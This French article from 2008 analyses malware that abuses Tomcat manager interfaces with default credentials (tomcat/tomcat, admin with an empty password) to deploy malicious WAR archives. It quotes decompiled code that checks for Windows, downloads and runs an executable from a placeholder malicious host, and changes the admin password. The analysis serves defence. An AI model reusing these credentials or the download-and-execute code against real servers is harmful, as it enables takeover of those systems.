|
|
by Louis Nyffenegger (24/11/08)
-- [ Malwar(e) ]--------------------------------------------------------
Cet article présente le fonctionnement de certains malwares utilisant les
interfaces d'administration des serveurs Tomcat pour se déployer.
--[ 1. Introduction ]---------------------------------------------------
S'il est une vulnérabilité qui m'amuse particulièrement et qui revient
régulièrement lors des tests d'intrusion, c'est la présence d'interfaces
d'administration Tomcat avec un couple identifiant/mot de passe trivial.
Le 4 octobre 2008, un mail sur la liste de développement de Tomcat
annonce l'existence de malwares utilisant cette vulnérabilité pour
en installer d'autres sur des serveurs.
--[ 2. Exploitation ]---------------------------------------------------
L'exploitation de cette vulnérabilité est extrêmement simple. Pour cela,
un simple navigateur suffit, utilisé pour se connecter sur l'interface
d'administration (http://monserveur/manager/html), avant de trouver
l'identifiant et le mot de passe "quivontbien" :
- tomcat/tomcat
- admin/
Ensuite, il suffit de choisir une archive .war à déployer sur le
serveur.
Cette technique est utilisée par des personnes malveillantes pour
déployer des archives tout aussi malveillantes (Malwar) sur les
serveurs mal sécurisés.
Plusieurs variantes de ces archives existent :
- 11111.war ;
- fexcepkillshell.war ;
- fexcepspshell.war ;
- fexception.war ;
- ...
--[ 3. Action Post-déploiement ]----------------------------------------
Après déploiement, un client se connecte à l'application malveillante
tout juste déployée sur la page index.jsp.
Dans la totalité des malwares étudiés, ceux-ci vérifient dans un premier
temps qu'il s'agit d'un serveur Windows :
sys=System.getProperty("os.name");
int i=sys.indexOf("Windows");
AutoKill ak=new AutoKill();
if (i>-1)
{
Cette vérification permet au malware de s'assurer que les programmes qui
seront exécutés par la suite sont compatibles avec le système infecté.
De plus, les serveurs Tomcat fonctionnent la plupart du temps sous
l'identitée "NT AUTHORITY\System". Ceci assure une compromission simple
et totale.
Le malwar(e) essaie ensuite de télécharger ses cousins sur des sites
compromis ou malveillants :
if (ak.exeFile())
où exeFile fait un simple appel à downFile :
private boolean exeFile()
{
boolean afly=false;
if (downFile(url,filesrc1))
afly=true;
[...]
et downFile(url,filesrc1) permet de télécharger et d'exécuter un fichier.
Par exemple :
- Le serveur hébergeant le programme à télécharger.
String url = "http://serveurmalveillant/down/30pc.exe"
- Le nom de fichier sous lequel le programme sera sauvgardé.
filesrc1 = request.getSession().getServletContext().getRealPath("")
+ "/init1.exe"
Enfin, afin de ne pas se faire recompromettre la machine, le malware
change le mot de passe par défaut dans la configuration de tomcat :
String s="\r\n";
s=s+"\r\n";
s=s+"\t\r\n";
s=s+"\t\r\n";
s=s+"\t\r\n";
s=s+"\t\r\n";
s=s+"\t\r\n";
s=s+"";
La variable "pass" est un mot de passe aléatoire généré par la fonction
randomPass() :
private String randomPass()
{
StringBuffer pass = new StringBuffer();
int i =0;
while(i<5)
{
i=(int)(Math.random()*12);
}
for(int j=0;j<=i;j++)
{
char c = (char)(Math.random()* 26 + 'A');
pass.append(c);
}
return pass.toString()+String.valueOf(((int)(Math.random()*10000)));
}
Des variantes de ces malwares utilisent par exemple un en-tête HTTP
renseigné par le client pour obtenir l'url de téléchargement des
malware :
url = request.getHeader("Cache-Vip-Url");
Autrement, le programme est directement intégré dans l'archive war.
--[ 4. Conclusion ]-----------------------------------------------------
Cette brève vous a présenté le déploiement d'un malware via
l'interface administration d'un serveur Tomcat.
-- Louis Nyffenegger --
--[ 5. Liens ]----------------------------------------------------------
- Le mail d'origine sur la mailing-list de Tomcat
URL:http://marc.info/?l=tomcat-dev&m=122312090005568
- Le site du projet Tomcat
URL:http://tomcat.apache.org
|